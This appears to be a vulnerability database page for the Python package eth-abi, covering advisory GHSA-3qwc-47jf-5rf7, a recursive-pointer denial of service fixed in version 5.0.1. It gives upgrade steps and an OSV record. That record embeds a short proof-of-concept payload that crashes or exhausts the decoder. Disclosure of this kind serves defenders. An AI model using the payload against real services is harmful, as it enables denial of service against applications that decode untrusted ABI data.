Vulnerabilities in pkg:pypi/eth-abi
PACKAGEGHSA-3qwc-47jf-5rf7 is a MODERATE denial of service vulnerability (CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input) affecting Eth abi libraries in the PyPI ecosystem. The issue involves eth-abi is vulnerable to recursive dos. Remediation is available by upgrading affected packages to version 5.0.1.
pkg:pypi/eth-abi
Vulnerability advisories affecting package pkg:pypi/eth-abi. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-3qwc-47jf-5rf7 | - | MODERATE | eth-abi is vulnerable to recursive DoS |
| GHSA-rqr8-pxh7-cq3g | - | MODERATE | Ethereum ABI decoder DoS when parsing ZST |
GHSA-3qwc-47jf-5rf7 at a Glance
How to Fix GHSA-3qwc-47jf-5rf7
To remediate this vulnerability, upgrade all affected Eth abi dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install eth-abi>=5.0.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show eth-abi
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-3qwc-47jf-5rf7, inspect your installed packages using pip:
pip show eth-abi
Analyze the terminal output to locate any version of Eth abi in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.1), your application is affected.
Note: The pip show eth-abi command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input, where the product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties. In Eth abi, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-3qwc-47jf-5rf7 Affected Eth abi Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
eth-abi
|
PyPI |
< 5.0.1
|
5.0.1
|
References
Frequently Asked Questions
What is GHSA-3qwc-47jf-5rf7?
Which Eth abi versions are affected?
What version fixes GHSA-3qwc-47jf-5rf7?
Is eth-abi affected?
What CWE is associated with GHSA-3qwc-47jf-5rf7?
How can I check PyPI dependencies for GHSA-3qwc-47jf-5rf7?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3qwc-47jf-5rf7",
"modified" : "2026-09-01T21:16:20Z",
"published" : "2024-03-05T14:39:13Z",
"aliases" : [ ],
"summary" : "eth-abi is vulnerable to recursive DoS",
"details" : "This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```",
"severity" : [ ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "eth-abi"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.0.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.0.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7"
}, {
"type" : "WEB",
"url" : "https://github.com/ApeWorX/eth-abi/pull/226"
}, {
"type" : "WEB",
"url" : "https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ethereum/eth-abi"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1285" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-03-05T14:39:13Z",
"nvd_published_at" : null
}
}